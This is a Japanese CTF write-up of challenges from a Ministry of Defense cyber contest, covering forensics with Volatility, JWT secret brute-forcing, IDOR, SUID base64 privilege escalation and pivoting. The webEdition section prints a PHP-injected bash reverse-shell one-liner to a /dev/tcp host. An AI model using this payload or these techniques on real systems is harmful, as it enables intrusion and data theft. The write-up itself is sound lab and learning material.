2/25(日) 09:00 - 21:00 に開催された防衛省サイバーコンテストに出てきたので、自分が解いた問題のWriteupを残しておきます。問題数も多いので簡単に。
結果は370pts獲得で、21位でした。
Crypto
Information of Certificate (10pts)
証明書ファイルのCNを答える問題。Windowsの証明書ビューアーで中身を確認する。
Missing IV (10pts)
AES-CBC 128bitsで暗号化されたファイルと暗号鍵が渡される。IVがわからない。
AES CBCは鍵があったとしても、IVがないと最初のブロックが復号できないが、2番目のブロックからは復号できるので、最初のブロック(128bit = 16bytes)以外は復号できる。
復号すると最初の16bytesがないZIPファイルが出てくるので、ZIPのファイルヘッダを調べて適当に16bytes埋めてZIPファイルにする。
ZIPファイルはドキュメントファイル(ODT)だが、たぶんCBCが合わないからかOfficeでは開けなかった。zipコマンドだと普通に展開できる
サムネイルで最初見ようとしたが、小さくても文字は見れなかったが、flagの文字列があることを確認。 中に入ってる contents.xml にテキストでflagが書いてあった。
Short RSA Public Key
公開鍵長が短いので、鍵を素因数分解できそう。 factordbに情報を参照しに行く RsaCtfTool を使う
作成した鍵を使って復号。
Forensics
NTFS Data Hide (10pts)
VHDが含まれるZIPファイル。Google Chromeにマルウェア扱いされたので暗号化ZIPで欲しかった。。
たぶんNTFSのADS(代替データストリーム)だろうな思ったので、Windows VMにvhdをマウントして dir /r
で調べたところあった。
中身はBase64で暗号化されているので、これを復号してFlag
NTFS File Delete (10pts)
問題文に消されたテキストファイルにflagがって書いてあった気がする。
ディスクに消えたファイルが残ってるってことはqemu-img convertでVHDをrawに変換して、あまりイケてないけどstrings+grepでflagを調べた。
NTFS File Rename (20pts)
拡張子がdocxとわかってたので、あまりイケてないけどバイナリエディタで開いてマルチバイトの .docxを探した。
HiddEN Variable (20pts)
Volatility 3 の windows.envars プラグインを使うと、プロセスが持つ環境変数が出てくる。
各プロセスがFLAGという環境変数を持っている。
Base64かと思いきや、デコードできない。CyberChefでいろいろ試してると、Base58でデコードできた。*1
My Secrets (30pts)
Volatility 3 の windows.cmdline プラグインでプロセスのコマンドライン見ると、7zをパスワードを使って展開している。
windows.filescanでファイルの仮想アドレスを特定する。
windows.dumpfiles プラグインで特定した仮想アドレスを指定してしたら、7zのファイルをダンプできた。(.vacbの拡張子がついたファイル)
拡張子を7zに変えて、書いてあるパスワードを使って展開するとRTFファイルが出てくる。あとはstringsすればflagが見つかる。
Miscellaneous
Une Maison (10pts)
マンションの画像。どれだけ見てもわからなくてヒントを1個使った。
メタデータやバイナリに答えはないという趣旨のヒントが書いてあったので、画像をじっくり見てると真ん中にバーコードぽいものがあった。
これを切り抜いて、バーコードを解析するPythonコードに入れるとflagが出た。
String Obusucation (10pts)
ifをすべてコメントアウトし、FLAGをprintすれば復号したflagが表示される
Where Is the Legit Flag? (20pts)
一番最後execしてるところをprintにすると、以下のコードが出てくる
さらにこの出てきたコードをprintすると、base64+compressされていたコードがデコードされて表示される。
表示されたコードのコメントを除き、以下のようにflogのprintの前にprintを入れてあげればFLAGが表示される
UtterDarkness (20pts)
StegSolveでぽちぽち
Network
Dicovery (10pts)
たぶん、First Blood。開始10分で解いた
nmapで80が開いているので、80にアクセス。
HackTheBoxでよくある「ドメインにリダイレクト」がされるので、/etc/hosts にIPアドレスとドメインの紐づけを行う
gobuster で列挙
/ftp
にwebeditorの認証情報があった
[WebEdition account] webeditor verystrongpass2024
ログインして、システム情報を確認するとバージョンが書いてある。
Exploit (20pts)
バージョンが特定できたので、既知の脆弱性のExploitだろうと思い、"webEdition Exploit" などで調べると、任意コード実行の脆弱性の再現手順が書かれたExploit DBのサイトが見つかる。
新しいページは作れなかったが、sample.htmlをPHPに変更、Descriptionを書くことはできた。
しかし、ここで変更したページをpublishする必要があり、それをずっとやってなくてアクセスできないと詰まっていたところ、他のプレイヤーが来てsample.html が荒れてきたので一旦他の問題に行って退避。
ちょっとして戻って来たところ、publishボタンの存在に気づき、PHPの任意コード実行が確認できた。
PHPは、"><?php system("bash -c 'bash -i >& /dev/tcp/10.254.xx.xx/443 0>&1'"); ?>
のようなbashのリバースシェルを実行するようにしたところ、シェルが取れた。
なお、実行したコードは他の参加者になるべくバレないように実行したら自分はすぐに消しました。*2
Pivot (30pts)
サーバから機密情報を入手してくださいという問題。
ユーザのホームにsecrets.txt というファイルが置いてあり、ここにFLAGがあるかなと思ったのでどうにかしてrootになれる方法を探す。*3
/usr/local/bin
など独自でインストールしたバイナリがないか見ていると、(確か)/usr/bin にシンボリックリンクが張られていた。
そして、/usr/binをよくよく見ていると、base64コマンドにsticky bitがついており、root権限で実行できそう。
GTFOBins を見ると、Base64がある。ビンゴ!
base64 secrets.txt | base64 --decode
で中身が読めそうだったので、実行してみると、データベースの認証情報が見つかった。
また、問題文にポートスキャンを駆使してとも書いてあったので、同じコンテナネットワークをping sweep & 見つかったホストにポートスキャンを実行したところ、192.168.32.2 でMySQLが動いてることがわかった。
あとは、ダイナミックポートフォワードを有効にしてSSH接続し、proxychainsを使ってKaliからmysqlコマンドを実行したところ、フラグのあるデータベースを閲覧でき、Flagを見つけた。
FileExtract (10pts)
WiresharkでFTP-DATAのトラフィックからZIPデータを取り出し。
取り出したZIPは暗号化されているが、FTPのパスワードが使い回しされているので、それで解凍
Programming
Logistic Map (10pt)
書いてあるとおりの式で、Pythonなどで計算するだけ
Trivia
The Original Name of AES (10pts)
ラインダールは知ってたが、綴りがわからなかったのでググる。Rijndael
CVE Record of Lowest Number (10pts)
ググったら、CVE-1999-0001 が最初であることがわかる。
あとはMITREのサイトからリンクを辿っていき、パッチを見れば ip_input.c であることがわかる。
https://ftp.openbsd.org/pub/OpenBSD/patches/2.3/common/tcpfix.patch
MFA Factors (10pts)
「多要素認証 3種類」でググると、Googleが教えてくれる。「所持」、「生体」、「知識」
Web
Browsers Have Local Storage (10pts)
Developer ToolでLocal Storageを見る
Are You Introspective? (10pts)
/graphql
、 /graphiql
などでエンドポイントのpathを探したけど、見つからなかった。
ヒントを開けると、「バージョン管理されてる可能性も考慮してください」と書かれていたので、/graphql/v1
でアクセスしてみると、エンドポイントが見つかった。*4
アクセスすると、GraphiQLのUIが出てくるので、HackTrickに書いてあった Full introspection query をちょっといじってクエリだすと、FLAGが書いてあるfieldが返ってきた。
Insecure (20pts)
問題文からIDORだろうなと思って、id=1 から id=0に変えてアクセスを試みるも、アクセスしないでください。と怒られる。
2個目のヒントを見て、id=1とid=0 の違いをBurpで見ていたところ、profile_success.php にリダイレクトされるか profile_error.php にリダイレクトされるかの違いだった。
そこで、Burpでリクエスト改ざんして profile_success.php にリダイレクトさせれば良いのでは?と考えて試したところ、id=0のプロフィールページが読めて、Flagが見れた。
Bruteforce (30pts)
2つのWebサーバの情報が渡されて、一つはBasic認証がかかっており、もう一つはソースコードが公開されており、Flaskで書かれたAPIサーバである。
APIサーバの挙動はざっくりと以下の通り。
- APIサーバにはログイン用のエンドポイント (login)とユーザによって処理を変えるエンドポイント (protected)がある
- loginでは、ID/パスワードで認証を行い、認証に成功するとJWT Tokenが払い出される
- ソースコードにはIDとパスワードがベタ書きされており、testアカウントのパスワードはわかる。adminのパスワードは潰されていてわからない
- protectedでは、adminの場合のみファイルパスを指定することで任意のファイルを閲覧できる
- jwtのsecretもベタ書きされているが、潰されていてわからない。
jwt tokenに対する攻撃手法を調べていたところ、secretをブルートフォースで当てる方法を見つけた。 secretがわかれば、tokenの署名を偽装できるので、問題名にあるとおりブルートフォースしてみたら、secretわかるのではと思った。
jwt_tool と rockyou.txt を用いて、secret のブルートフォースを試みたところ、secretが conankun
であることがわかった。
これを使って、jwt.io で偽装したトークンを生成。
これを用いて、protected にアクセスしたところ、サーバ内のファイルの中身を取ることができた。
何を取ろうかと思って、/proc/self/
配下をいろいろ見ていたところ、 cmdline でソースコードがあるパスを調べることができた。
これを使って、配布されたソースコードでは隠されていたadminのパスワードを確認し、パスワードが使い回されていることを考えてBasic認証を突破できないか試したが、できなかった。
ここでbrute forceというタイトルを思い出して、プロセスIDをブルートフォースしたら、同じサーバで動いている別のサーバを見つけられるんじゃないかと思い、Burpで /proc/0/cmdline
, /proc/1/cmdline
のようにプロセスIDを変えながら見ていくと、Basic認証してそうなWebサーバのプロセスが見つかる。
コマンドライン引数でユーザ名とパスワードを指定しているので、これを用いてBasic認証にチャレンジすると、サーバ内のファイルを閲覧できるページが現れてFLAGが見れた。
感想
レベル感はPwnも出ないし、自分にはちょうど良かった気がします。
ただ、何問か微妙な問題(エスパー、リアリティのない設定、共用環境のために他の参加者にネタバレする、おそらく意図した解法ではないstringsで解けてしまう)、もうゴールさせてくれよ。みたいな問題(過度なエンコード)もあったので、そこが良くなればもう少し良いコンテストになるのになぁと思いました。
あと、全く手がつけられない問題のヒントは役に立つが、途中で困ったときのヒントは役に立たないのもつらかったですね。(CTFdの仕様でこの出し方しかできないのはしょうがないですが。。
いろいろ書きましたが、最近あまり手を動かせてなかったので、楽しく頭の体操ができたので良かったです。 ありがとうございました!